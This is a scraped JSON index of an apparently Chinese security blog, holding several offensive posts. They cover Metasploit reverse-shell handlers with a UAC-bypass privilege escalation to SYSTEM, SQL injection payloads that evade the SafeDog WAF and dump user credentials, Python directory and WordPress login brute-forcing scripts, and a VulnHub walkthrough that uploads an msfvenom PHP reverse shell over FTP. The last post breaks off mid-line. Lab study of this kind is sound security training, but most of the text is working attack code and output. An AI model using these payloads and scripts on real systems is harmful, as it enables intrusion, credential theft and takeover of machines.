=\u0026gt; windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) \u0026gt; set lhost 192.168.142.19 lhost =\u0026gt; 192.168.142.19 msf5 exploit(multi/handler) \u0026gt; set exitonsession false exitonsession =\u0026gt; false msf5 exploit(multi/handler) \u0026gt; exploit -j [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.142.19:4444 msf5 exploit(multi/handler) \u0026gt; [*] Sending stage (176195 bytes) to 192.168.142.24 [*] Meterpreter session 1 opened (192.168.142.19:4444 -\u0026gt; 192.168.142.24:52612) at 2020-10-30 10:15:32 +0800 msf5 exploit(multi/handler) \u0026gt; [*] Sending stage (176195 bytes) to 192.168.142.101 [*] Meterpreter session 2 opened (192.168.142.19:4444 -\u0026gt; 192.168.142.101:49230) at 2020-10-30 10:15:50 +0800 msf5 exploit(multi/handler) \u0026gt; sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows WY-PC\\WY @ WY-PC 192.168.142.19:4444 -\u0026gt; 192.168.142.24:52612 (192.168.200.128) 2 meterpreter x86/windows W-Y-PC\\W-Y @ W-Y-PC 192.168.142.19:4444 -\u0026gt; 192.168.142.101:49230 (192.168.142.101) msf5 exploit(multi/handler) \u0026gt; 这里要特别注意两个位置：\nset exitonsession false ：可以让建立监听的端口继续保持侦听。可以接受多个session\nexploit -j：后台监听\nwindows提权： # 进入到meterpreter中后，可以使用getsystem命令简单提权：\nmeterpreter \u0026gt; getsystem [-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted: [-] Named Pipe Impersonation (In Memory/Admin) [-] Named Pipe Impersonation (Dropper/Admin) [-] Token Duplication (In Memory/Admin) 但这种提权成功的概率较小，这里我们可以通过post/multi/recon/local_exploit_suggester模块进行提权检测：\nmsf5 exploit(multi/handler) \u0026gt; search suggester Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 post/multi/recon/local_exploit_suggester normal No Multi Recon Local Exploit Suggester msf5 exploit(multi/handler) \u0026gt; use 0 msf5 post(multi/recon/local_exploit_suggester) \u0026gt; set session 1\t//指定主机 session =\u0026gt; 1 msf5 post(multi/recon/local_exploit_suggester) \u0026gt; run [*] 192.168.200.128 - Collecting local exploits for x86/windows... [*] 192.168.200.128 - 34 exploit checks are being tried... [+] 192.168.200.128 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable. nil versions are discouraged and will be deprecated in Rubygems 4 [+] 192.168.200.128 - exploit/windows/local/ikeext_service: The target appears to be vulnerable. [+] 192.168.200.128 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable. [+] 192.168.200.128 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable. [+] 192.168.200.128 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable. [+] 192.168.200.128 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable. [+] 192.168.200.128 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable. [+] 192.168.200.128 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable. [+] 192.168.200.128 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable. [*] Post module execution completed 可以看到已经将可调用的模块枚举出来，我们这里选择模块直接调用即可：\nmsf5 \u0026gt; use exploit/windows/local/bypassuac_eventvwr [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp msf5 exploit(windows/local/bypassuac_eventvwr) \u0026gt; show options Module options (exploit/windows/local/bypassuac_eventvwr): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on. Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: \u0026#39;\u0026#39;, seh, thread, process, none) LHOST 192.168.142.19 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Windows x86 msf5 exploit(windows/local/bypassuac_eventvwr) \u0026gt; set session 1 session =\u0026gt; 1 msf5 exploit(windows/local/bypassuac_eventvwr) \u0026gt; run [-] Handler failed to bind to 192.168.142.19:4444:- - [-] Handler failed to bind to 0.0.0.0:4444:- - [*] UAC is Enabled, checking level... [+] Part of Administrators group! Continuing... [+] UAC is set to Default [+] BypassUAC can bypass this setting, continuing... [*] Configuring payload and stager registry keys ... [*] Executing payload: C:\\Windows\\SysWOW64\\eventvwr.exe [+] eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute. [*] Sending stage (176195 bytes) to 192.168.142.24 [*] Meterpreter session 3 opened (192.168.142.19:4444 -\u0026gt; 192.168.142.24:52764) at 2020-10-30 10:30:41 +0800 [*] Cleaning up registry keys ... [*] Exploit completed, but no session was created. msf5 exploit(windows/local/bypassuac_eventvwr) \u0026gt; sessions -i Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows WY-PC\\WY @ WY-PC 192.168.142.19:4444 -\u0026gt; 192.168.142.24:52612 (192.168.200.128) 2 meterpreter x86/windows W-Y-PC\\W-Y @ W-Y-PC 192.168.142.19:4444 -\u0026gt; 192.168.142.101:49230 (192.168.142.101) 3 meterpreter x86/windows WY-PC\\WY @ WY-PC 192.168.142.19:4444 -\u0026gt; 192.168.142.24:52764 (192.168.200.128) msf5 exploit(windows/local/bypassuac_eventvwr) \u0026gt; sessions 3 [*] Starting interaction with 3... meterpreter \u0026gt; getuid Server username: WY-PC\\WY meterpreter \u0026gt; getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter \u0026gt; getuid Server username: NT AUTHORITY\\SYSTEM meterpreter \u0026gt; ","date":"2020-10-30","externalUrl":null,"permalink":"/posts/msf%E6%8F%90%E6%9D%83%E6%93%8D%E4%BD%9C/","section":"文章","summary":"最近有个问题苦恼了我很久，“msf”是否可以控制多台服务器，怎么通过“msf”进行提权操作？\n这里我直接开启了两台win7SP1X64的主机，通过运行后门的方式获得shell，这里生成shell的步骤略过。\n获得服务器shell # 首先我们在kali里面开启msf并调用exploit/multi/handler\nmsf5 \u003e use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf5 exploit(multi/handler) \u003e set payload windows/meterpreter/reverse_tcp payload =\u003e windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) \u003e set lhost 192.168.142.19 lhost =\u003e 192.168.142.19 msf5 exploit(multi/handler) \u003e set exitonsession false exitonsession =\u003e false msf5 exploit(multi/handler) \u003e exploit -j [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.142.19:4444 msf5 exploit(multi/handler) \u003e [*] Sending stage (176195 bytes) to 192.168.142.24 [*] Meterpreter session 1 opened (192.168.142.19:4444 -\u003e 192.168.142.24:52612) at 2020-10-30 10:15:32 +0800 msf5 exploit(multi/handler) \u003e [*] Sending stage (176195 bytes) to 192.168.142.101 [*] Meterpreter session 2 opened (192.168.142.19:4444 -\u003e 192.168.142.101:49230) at 2020-10-30 10:15:50 +0800 msf5 exploit(multi/handler) \u003e sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows WY-PC\\WY @ WY-PC 192.168.142.19:4444 -\u003e 192.168.142.24:52612 (192.168.200.128) 2 meterpreter x86/windows W-Y-PC\\W-Y @ W-Y-PC 192.168.142.19:4444 -\u003e 192.168.142.101:49230 (192.168.142.101) msf5 exploit(multi/handler) \u003e 这里要特别注意两个位置：\n","title":"MSF提权操作","type":"posts"},{"content":"","date":"2020-10-30","externalUrl":null,"permalink":"/tags/%E5%90%8E%E9%97%A8/","section":"标签","summary":"","title":"后门","type":"tags"},{"content":"最近在网上挖洞时，总会遇到烦人的安全狗，研究了一天发现绕过安全狗出奇的简单，只需要语法犀利即可。\n前言： # 相信在网络上做渗透测试时，总会遇到如下情况：\n这是网站管理员在服务器上安装了安全狗，安全狗是一款集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。功能涵盖了网马/木马扫描、防SQL注入、防盗链、防CC攻击、网站流量实时监控、网站CPU监控、下载线程保护、IP黑白名单管理、网页防篡改功能（结合安全狗云安全中心使用）等模块。能够为用户提供实时的网站安全防护，避免各类针对网站的攻击所带来的危害。我们这次实验就是针对sql注入，绕过安全狗的防护机制。话不多说，下面我们开始这次实验。\n实验环境： # 操作系统：Windows Server 2008 R2\nphp集成环境：PHPStudy2018\nphp版本：5.4.45\nApache版本：2.4.23\nMySQL版本：5.5.53\n安全狗版本（Apache版）：4.0.28330\n我们将插件开启，安全防护等级调制最高。\n实践： # 首先我们输入最普通的注入语句1' and 1=1#，测试安全狗过滤机制\n发现这里直接将我们的语句拦截1'/*%\u0026quot;!*/and/*%\u0026quot;!*/1=1#，我们尝试使用内联注释\n发现安全狗还是成功拦截，经过重重测试，发现使用语句1'/*%!\u0026quot;/*/and/*%!\u0026quot;/*/1=1#可以成功绕过安全狗\npayload: 1'/*%!\u0026quot;/*/and/*%!\u0026quot;/*/1=1# 判断为真\npayload: 1'/*%!\u0026quot;/*/and/*%!\u0026quot;/*/1=2# 判断为假\n使用order by判断列：\npayload: 1'/*%!\u0026quot;/*/order/*%!\u0026quot;/*/by+3#\n使用union联合查询，查看输出列：\npayload: 0'/*%!\u0026quot;/*/union/*%!\u0026quot;/*/select+1,2,3#\n查看数据库名，mysql版本与当前用户：\npayload: 0'/*%!\u0026quot;/*/union/*%!\u0026quot;/*/select/*%!\u0026quot;/*/user()/*%!\u0026quot;/*/,/*%!\u0026quot;/*/database()/*%!\u0026quot;/*/,/*%!\u0026quot;/*/version()/*%!\u0026quot;/*/#\n查看数据库里的表：\npayload: 0'/*%!\u0026quot;/*/union/*%!\u0026quot;/*/select+group_concat(table_name),2,3/*%!\u0026quot;/*/from/*%!\u0026quot;/*/information_schema.tables where+table_schema=/*%!\u0026quot;/*/database()/*%!\u0026quot;/*/#\n查看表里的字段：\npayload: 0'/*%!\u0026quot;/*/union/*%!\u0026quot;/*/select+group_concat(column_name),2,3/*%!\u0026quot;/*/from/*%!\u0026quot;/*/information_schema.columns where+table_name=/*%!\u0026quot;/*/0x7573657273/*%!\u0026quot;/*/#\n查询数据：\npayload: 0'/*%!\u0026quot;/*/union/*%!\u0026quot;/*/select+id,username,password/*%!\u0026quot;/*/from/*%!\u0026quot;/*/users#\n总结： # 通过以上实验，我们可以发现绕过安全狗其实并不难，主要还是靠内联注释里面的符号拼接，猜测安全狗哪些拼接出来的符号没有进行过滤，这里还可以通过burp suite进行爆破测试。\n","date":"2020-10-28","externalUrl":null,"permalink":"/posts/%E5%AE%89%E5%85%A8%E7%8B%97%E7%BB%95%E8%BF%87/","section":"文章","summary":"最近在网上挖洞时，总会遇到烦人的安全狗，研究了一天发现绕过安全狗出奇的简单，只需要语法犀利即可。\n前言： # 相信在网络上做渗透测试时，总会遇到如下情况：\n这是网站管理员在服务器上安装了安全狗，安全狗是一款集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。功能涵盖了网马/木马扫描、防SQL注入、防盗链、防CC攻击、网站流量实时监控、网站CPU监控、下载线程保护、IP黑白名单管理、网页防篡改功能（结合安全狗云安全中心使用）等模块。能够为用户提供实时的网站安全防护，避免各类针对网站的攻击所带来的危害。我们这次实验就是针对sql注入，绕过安全狗的防护机制。话不多说，下面我们开始这次实验。\n实验环境： # 操作系统：Windows Server 2008 R2\n","title":"SQL注入之安全狗绕过","type":"posts"},{"content":"","date":"2020-10-28","externalUrl":null,"permalink":"/tags/web/","section":"标签","summary":"","title":"Web","type":"tags"},{"content":" 第五章 Web攻击 # Web的套接字函数库：urllib2 （Requests） # 这里原著中python2所使用的urllib2模块要被淘汰了，这里我们使用python3的requests模块实现相同的功能。\n首先安装requests模块：\npip install requests 我们首先简单了解一下requests模块的简单用法：\nimport requests url = \u0026#34;http://www.baidu.com\u0026#34; # 以字典的形式，构造请求头 headers = {\u0026#34;User-Agent\u0026#34;: \u0026#34;Googlebot\u0026#34;} # 提交的参数和其值 # payload = {Key1: Value1, Key2: Value2} # 设置cookie # cookie = {\u0026#34;Cookie\u0026#34;: \u0026#34;*******\u0026#34;} # 以GET方式请求服务器 body = requests.get(url, headers=headers\u0026#39;\u0026#39;\u0026#39;, cooikes=cooike,params=payload\u0026#39;\u0026#39;\u0026#39;) # 以POST方式请求服务器 body = requests.post(url, headers=headers\u0026#39;\u0026#39;\u0026#39;, cooikes=cooike,params=payload\u0026#39;\u0026#39;\u0026#39;) body.encoding #获取当前的编码 body.encoding = \u0026#39;utf-8\u0026#39; #设置编码 body.text #以encoding解析返回内容。字符串方式的响应体，会自动根据响应头部的字符编码进行解码。 body.content #以字节形式（二进制）返回。字节方式的响应体，会自动为你解码 gzip 和 deflate 压缩。 body.cookies\t#获得cookie body.headers #以字典对象存储服务器响应头，但是这个字典比较特殊，字典键不区分大小写，若键不存在则返回None body.status_code #响应状态码 body.raw #返回原始响应体，也就是 urllib 的 response 对象，使用 r.raw.read() body.ok # 查看ok的布尔值便可以知道是否登陆成功 print(body.text) 这里我们可以看到成功输出百度的响应内容\n开源web安装： # 这里可以选择安装与原著相同的joomla，也可以安装其他的一些后台管理系统。\n我这里拿我本地搭建的wordpress来举例：下载wordpress源码文件到本地后，通过程序读取源码文件名，过滤一些无意义文件，最后通过构建url，服务器返回的状态码来判断页面或路径是否存在。\nimport queue import threading import os import requests # 设置线程 threads = 10 # 指定网站 target = \u0026#34;http://www.test.com/\u0026#34; # 指定本地扫描路径 directory = \u0026#34;wordpress\u0026#34; # 排除后缀 filters = [\u0026#34;.jpg\u0026#34;, \u0026#34;.gif\u0026#34;, \u0026#34;.png\u0026#34;, \u0026#34;.css\u0026#34;] # 切换路径 os.chdir(directory) # 实例化queue web_paths = queue.Queue() # 在当前目录下进行遍历目录或文件 for r, d, f in os.walk(\u0026#34;.\u0026#34;): for files in f: remote_path = \u0026#34;%s%s\u0026#34; % (r, files) # 将以“.”开头的文件，去掉“.” if remote_path.startswith(\u0026#34;.\u0026#34;): remote_path = remote_path[1:] # 排除后缀后，将其文件名发送 if os.path.splitext(files)[1] not in filters: web_paths.put(remote_path) # 构建URL，爆破网站目录 def test_remote(): while not web_paths.empty(): path = web_paths.get() url = \u0026#34;%s%s\u0026#34; % (target, path) try: res = requests.get(url) print(\u0026#34;[%d] =\u0026gt; %s\u0026#34; % (res.status_code, path)) res.close() except Exception as err: # print(err) pass # 开启多线程 for i in range(threads): print(\u0026#34;Spawning thread: %d\u0026#34; % i) t = threading.Thread(target=test_remote) t.start() 程序中首先定义网站源码本地物理路径，通过for循环过滤掉无意义文件。\nos.walk()在指定目录下遍历其所有文件，目录。返回绝对路径，该绝对路径下的目录，该绝对路径下的文件。\nstartswith()在字符串内，去掉以指定字符开头的字符。\nos.path.splitext(files)将文件名的后缀与文件名分割。\nput()发送数据，同理get()接受数据。\ntest_remote()函数用来构造URL并对网站目录进行爆破\n最后通过多线程启动程序。\n执行结果如上，成功扫描到wordpress安装后未删除文件。\n暴力破解目录和文件位置： # 这块代码的很多功能对于我而言很鸡肋，或者说起不到作者想要达到的效果，也有可能是我本人没有了解作者的思路，所以这段代码我根据自己的经验进行了删减或者说是修改。\nimport requests import threading import queue # 设定对应参数 target = \u0026#34;http://www.test.com/\u0026#34; threads = 50 dic = \u0026#34;dic1.txt\u0026#34; # 读取字典中的数据，并格式化后发送 def dic_line(dic): txt = open(dic, \u0026#39;rb\u0026#39;) raw_words = txt.readlines() words = queue.Queue() txt.close() for word in raw_words: word = word.rstrip() words.put(word) return words # 构造相应的url，对服务器进行爆破 def dir_line(dic_queue): while not dic_queue.empty(): attempt = dic_queue.get().decode(\u0026#39;ascii\u0026#39;) url = \u0026#34;%s%s\u0026#34; % (target, attempt) try: header = {\u0026#39;User-Agent\u0026#39;: \u0026#39;Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0\u0026#39;} response = requests.get(url, headers=header) if response.status_code != 404: print(\u0026#34;[%d] =\u0026gt; %s\u0026#34; % (response.status_code, url)) except requests.RequestException as e: print(e) pass # 开启多线程 if __name__ == \u0026#39;__main__\u0026#39;: wordlist = dic_line(dic) for i in range(threads): t = threading.Thread(target=dir_line, args=(wordlist, )) t.start() 相比于刚刚的程序，这里没有多少变化。\ndic_line()函数读取指定字典中的每行数据，格式化后发送。\ndir_line()函数接收dic_line()函数发送过来的数据，构造相应的url，对服务器进行目录爆破\n暴力破解HTML表格认证： # 同上，删减了很多鸡肋或无意义代码。\nimport requests import threading import queue # 设置基本参数 user_thread = 10 username = \u0026#34;root\u0026#34; wordlist_file = \u0026#34;dic.txt\u0026#34; target_url = \u0026#34;http://192.168.142.180/wordpress/wp-login.php\u0026#34; success_check = \u0026#34;login_error\u0026#34; # 定义类 class Bruter(object): # 初始化时需传参，接受用户名，密码参数 def __init__(self, username, words): self.username = username self.password_q = words self.found = False print(\u0026#34;Finished setting up for: %s\u0026#34; % username) # 定义类中多线程方法 def run_bruteforce(self): for i in range(user_thread): t = threading.Thread(target=self.web_bruter) t.start() # 定义构造http请求包方法 def web_bruter(self): while not self.password_q.empty() and not self.found: brute = self.password_q.get().rstrip() post_tags = {\u0026#39;log\u0026#39;: \u0026#39;root\u0026#39;, \u0026#39;pwd\u0026#39;: brute} print(\u0026#34;\\b\\b\u0026#34;*100, end=\u0026#34;\u0026#34;) print(\u0026#34;\\rTrying: %s : %s (%d left)\u0026#34; % (self.username, brute.decode(\u0026#39;utf-8\u0026#39;), self.password_q.qsize()), end=\u0026#34;\u0026#34;) login_response = requests.post(target_url, data=post_tags) login_result = login_response.text if success_check not in login_result: self.found = True print(\u0026#34;\\n[*] Bruteforce successful.\u0026#34;) print(\u0026#34;[*] Username: %s\u0026#34; % username) print(\u0026#34;[*] Password: %s\u0026#34; % brute.decode(\u0026#39;utf-8\u0026#39;)) print(\u0026#34;[*] Waiting for other th\u0026#34; \u0026#34;reads to exit...\u0026#34;) # 定义列举密码并发送函数 def build_wordlist(wordlist_file): fd = open(wordlist_file, \u0026#34;rb\u0026#34;) raw_words = fd.readlines() fd.close() words = queue.Queue() for word in raw_words: word = word.rstrip() words.put(word) return words # 运用 words = build_wordlist(wordlist_file) bruter_obj = Bruter(username, words) bruter_obj.run_bruteforce() 定义类，首先使用初始化方法接受用户名与密码，然后定义一个多线程方法，加快爆破速度与效率，然后定义web_bruter()\nweb_bruter():使用while进行循环，当传过来的密码参数不为空时，并且found变量为False时循环，通过格式化后，使用字典定义POST请求信息数据，如果最后服务器响应的数据里没有相应字符串则代表成功得到用户密码。\nbuild_wordlist:对密码进行相应的格式化并发送。\n","date":"2020-10-21","externalUrl":null,"permalink":"/posts/%E7%AC%AC%E4%BA%94%E7%AB%A0-web%E6%94%BB%E5%87%BB/","section":"文章","summary":"第五章 Web攻击 # Web的套接字函数库：urllib2 （Requests） # 这里原著中python2所使用的urllib2模块要被淘汰了，这里我们使用python3的requests模块实现相同的功能。\n","title":"《Python黑帽子》python3代码实现(第五章)","type":"posts"},{"content":" VulnHub靶场系列：Chili # 刚刚在VulnHub官网上找了些简单的靶机，感觉这个还挺适合新手的\n环境部署： # https://download.vulnhub.com/chili/Chili.ova 实战： # 首先使用工具扫描靶机所在网段，得到靶机IP：\nroot@kali:/# nmap -sP 192.168.200.129/24 Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-05 08:56 CST Nmap scan report for 192.168.200.1 Host is up (0.00016s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 192.168.200.2 Host is up (0.00012s latency). MAC Address: 00:50:56:E6:47:0B (VMware) Nmap scan report for 192.168.200.128 Host is up (0.00075s latency). MAC Address: 00:0C:29:4A:31:59 (VMware) Nmap scan report for 192.168.200.130 Host is up (0.00097s latency). MAC Address: 00:0C:29:1C:DC:AB (VMware) Nmap scan report for 192.168.200.254 Host is up (0.00092s latency). MAC Address: 00:50:56:FA:DC:49 (VMware) Nmap scan report for 192.168.200.129 Host is up. Nmap done: 256 IP addresses (6 hosts up) scanned in 27.85 seconds 得到靶机IP后对靶机进行端口扫描：\nroot@kali:/# nmap -sT -p1-65535 192.168.200.130 Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-05 08:58 CST Nmap scan report for 192.168.200.130 Host is up (0.00056s latency). Not shown: 65533 closed ports PORT STATE SERVICE 21/tcp open ftp 80/tcp open http MAC Address: 00:0C:29:1C:DC:AB (VMware) Nmap done: 1 IP address (1 host up) scanned in 1.93 seconds 我们发现靶机开启了21，80端口，我们先对靶机web服务进行访问\n这里访问源码可以看到有一些单词的提示，我们这里使用cewl工具对网页敏感信息进行爬取并保存到文件当中\ncewl http://192.168.200.130 \u0026gt; user.txt 将user.txt中的文件内容进行大小写复写\n然后可以通过九头蛇工具爆破ftp或者msf工具爆破\n这里爆破后得到账号密码chili:a1b2c3d4,登录靶机ftp：\nroot@kali:/# ftp 192.168.200.130 Connected to 192.168.200.130. 220 (vsFTPd 3.0.3) Name (192.168.200.130:root): chili 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp\u0026gt; 通过尝试，发现可以访问网站根目录：\nftp\u0026gt; pwd 257 \u0026#34;/home/chili\u0026#34; is the current directory ftp\u0026gt; cd /var/www/html/ 250 Directory successfully changed. ftp\u0026gt; pwd 257 \u0026#34;/var/www/html\u0026#34; is the current directory ftp\u0026gt; 然后查看当前目录的文件，发现我们拥有对.nano目录的读写执行权：\nftp\u0026gt; ls -al 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 4 0 0 4096 Sep 08 13:12 . drwxr-xr-x 3 0 0 4096 Sep 08 11:41 .. drwxrwxrwx 2 0 0 4096 Oct 03 04:25 .nano drwxr-xr-x 2 0 0 4096 Sep 08 13:12 .vim -rw-r--r-- 1 0 0 74290 Oct 23 2018 Chile_WEB.jpg -rw-r--r-- 1 0 0 657 Sep 08 11:44 index.html 226 Directory send OK. ftp\u0026gt; 然后我们直接将木马上传到服务器的.nano目录下：\n// 先生成木马 root@kali:/# msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.200.129 LPORT=4444 -f raw \u0026gt; shell.php [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload No encoder specified, outputting raw payload Payload size: 30691 bytes // 通过put命令上传木马： ftp\u0026gt; put /shell.php shell.php local: /shell.php remote: shell.php 200 PORT command successful. Consider using PASV. 150 Ok to send data. 226 Transfer complete. 30691 bytes sent in 0.00 secs (186.4281 MB/s) ftp\u0026gt; ls -al 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxrwxrwx 2 0 0 4096 Oct 04 21:36 . drwxr-xr-x 4 0 0 4096 Sep 08 13:12 .. -rw-r--r-- 1 1000 1000 0 Sep 08 13:14 index.html -rw------- 1 1000 1000 30691 Oct 04 21:36 shell.php 226 Directory send OK. ftp\u0026gt; // 这里需要注意，一定要给我们的木马777的权限 ftp\u0026gt; chmod 777 shell.php 200 SITE CHMOD command ok. ftp\u0026gt; ls -al 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxrwxrwx 2 0 0 4096 Oct 04 21:36 . drwxr-xr-x 4 0 0 4096 Sep 08 13:12 .. -rw-r--r-- 1 1000 1000 0 Sep 08 13:14 index.html -rwxrwxrwx 1 1000 1000 30691 Oct 04 21:36 shell.php 226 Directory send OK. ftp\u0026gt; 成功上传后，这里我们通过msf反弹shell，在kali端口开启端口监听，然后通过浏览器访问我们的木马：\nmsf5 \u0026gt; use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf5 exploit(multi/handler) \u0026gt; set payload php/meterpreter_reverse_tcp payload =\u0026gt; php/meterpreter_reverse_tcp msf5 exploit(multi/handler) \u0026gt; set LHOST 192.168.200.129 LHOST =\u0026gt; 192.168.200.129 msf5 exploit(multi/handler) \u0026gt; exploit [*] Started reverse TCP handler on 192.168.200.129:4444 这里我们成功拿到靶机的webshell，但是权限不高，我们得进行提权操作：\nmsf5 exploit(multi/handler) \u0026gt; exploit [*] Started reverse TCP handler on 192.168.200.129:4444 [*] Meterpreter session 1 opened (192.168.200.129:4444 -\u0026gt; 192.168.200.131:37610) at 2020-10-05 09:43:42 +0800 meterpreter \u0026gt; getuid Server username: www-data (33) meterpreter \u0026gt; 我们这里上传一个检测提权的工具，在靶机上运行：\nftp\u0026gt; put /root/enumy64 enumy64 local: /root/enumy64 remote: enumy64 200 PORT command successful. Consider using PASV. 150 Ok to send data. 226 Transfer complete. 1010192 bytes sent in 0.03 secs (31.9555 MB/s) ftp\u0026gt; chmod 777 enumy64 200 SITE CHMOD command ok. ftp\u0026gt; ls -al 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxrwxrwx 2 0 0 4096 Oct 04 21:46 . drwxr-xr-x 4 0 0 4096 Sep 08 13:12 .. -rwxrwxrwx 1 1000 1000 1010192 Oct 04 21:46 enumy64 -rw-r--r-- 1 1000 1000 0 Sep 08 13:14 index.html -rwxrwxrwx 1 1000 1000 30691 Oct 04 21:36 shell.php 226 Directory send OK. ftp\u0026gt; 得到以下信息：\nmeterpreter \u0026gt; shell Process 672 created. Channel 0 created. pwd /var/www/html/.nano ./enumy64 ▄█▀─▄▄▄▄▄▄▄─▀█▄ _____ ▀█████████████▀ | __|___ _ _ _____ _ _ █▄███▄█ | __| | | | | | | █████ |_____|_|_|___|_|_|_|_ | █▀█▀█ |___| https://github.com/luke-goddard/enumy Current User Info uid=33(www-data) gid=33(www-data) groups=33(www-data) Version Linux version 4.19.0-10-amd64 (debian-kernel@lists.debian.org) (gcc version 8.3.0 (Debian 8.3.0-6)) #1 SMP Debian 4.19.132-1 (2020-07-24) hostname chili Umask u=rwx,g=rx,o=rx Last Login ---------- Username Port From Latest root tty1 Tue Sep 8 13:11:53 -0400 2020 chili tty1 Tue Sep 8 13:12:50 -0400 2020 User Accounts ------------- root:x:0:0:root:/root:/bin/bash sync:x:4:65534:sync:/bin:/bin/sync chili:x:1000:1000:chili,,,:/home/chili:/bin/bash Who Else Is Logged On --------------------- 21:48:00 up 13 min, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT Groups ------ uid=0(root) gid=0(root) groups=0(root) uid=1(daemon) gid=1(daemon) groups=1(daemon) uid=2(bin) gid=2(bin) groups=2(bin) uid=3(sys) gid=3(sys) groups=3(sys) uid=4(sync) gid=65534(nogroup) groups=65534(nogroup) uid=5(games) gid=60(games) groups=60(games) uid=6(man) gid=12(man) groups=12(man) uid=7(lp) gid=7(lp) groups=7(lp) uid=8(mail) gid=8(mail) groups=8(mail) uid=9(news) gid=9(news) groups=9(news) uid=10(uucp) gid=10(uucp) groups=10(uucp) uid=13(proxy) gid=13(proxy) groups=13(proxy) uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=34(backup) gid=34(backup) groups=34(backup) uid=38(list) gid=38(list) groups=38(list) uid=39(irc) gid=39(irc) groups=39(irc) uid=41(gnats) gid=41(gnats) groups=41(gnats) uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) uid=100(_apt) gid=65534(nogroup) groups=65534(nogroup) uid=101(systemd-timesync) gid=102(systemd-timesync) groups=102(systemd-timesync) uid=102(systemd-network) gid=103(systemd-network) groups=103(systemd-network) uid=103(systemd-resolve) gid=104(systemd-resolve) groups=104(systemd-resolve) uid=1000(chili) gid=1000(chili) groups=1000(chili),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev) uid=999(systemd-coredump) gid=999(systemd-coredump) groups=999(systemd-coredump) uid=104(messagebus) gid=110(messagebus) groups=110(messagebus) uid=105(sshd) gid=65534(nogroup) groups=65534(nogroup) uid=106(ftp) gid=113(ftp) groups=113(ftp) Severity: MEDIUM Name: sysctl ptrace is configured insecurly -rw-r--r-- 1 root root 0 Oct 4 21:48 /proc/sys/kernel/yama/ptrace_scope Severity: INFO Name: Found an new root user with UID 0: root -rw-r--rw- 1 root root 1450 Sep 8 12:23 /etc/passwd Severity: INFO Name: Found an new root user with GID 0: root -rw-r--rw- 1 root root 1450 Sep 8 12:23 /etc/passwd Severity: INFO Name: Found an new user that can be logged into: root -rw-r--rw- 1 root root 1450 Sep 8 12:23 /etc/passwd Severity: INFO Name: Found an new user that can be logged into: sync -rw-r--rw- 1 root root 1450 Sep 8 12:23 /etc/passwd Severity: HIGH Name: Found a home directory that does not exist, but is attached to an existing user Severity: HIGH Name: Found a home directory that does not exist, but is attached to an existing user Severity: HIGH Name: Found a home directory that does not exist, but is attached to an existing user Severity: HIGH Name: Found a home directory that does not exist, but is attached to an existing user Severity: HIGH Name: Found a home directory that does not exist, but is attached to an existing user Severity: HIGH Name: Found a home directory that does not exist, but is attached to an existing user Severity: HIGH Name: Found a home directory that does not exist, but is attached to an existing user Severity: HIGH Name: Found a home directory that does not exist, but is attached to an existing user Severity: HIGH Name: Found a home directory that does not exist, but is attached to an existing user Severity: INFO Name: Found an new user that can be logged into: chili -rw-r--rw- 1 root root 1450 Sep 8 12:23 /etc/passwd Severity: HIGH Name: Found a home directory that does not exist, but is attached to an existing user Severity: HIGH Name: Found a home directory that does not exist, but is attached to an existing user Severity: HIGH Name: Low entropy file that could be a private key -rw-r--r-- 1 root root 20661 Feb 11 2019 /usr/share/X11/xkb/symbols/pk Severity: INFO Name: Config file could contain passwords -rw-r--r-- 1 root root 494 Feb 10 2019 /usr/share/libc-bin/nsswitch.conf Severity: HIGH Name: CAP_NET_RAW capablities enabled on file -rwxr-xr-x 1 root root 69368 Jan 13 2020 /usr/bin/ping Severity: MEDIUM Name: Executable capable of spawning reverse shells found -rwxr-xr-x 1 root root 1168776 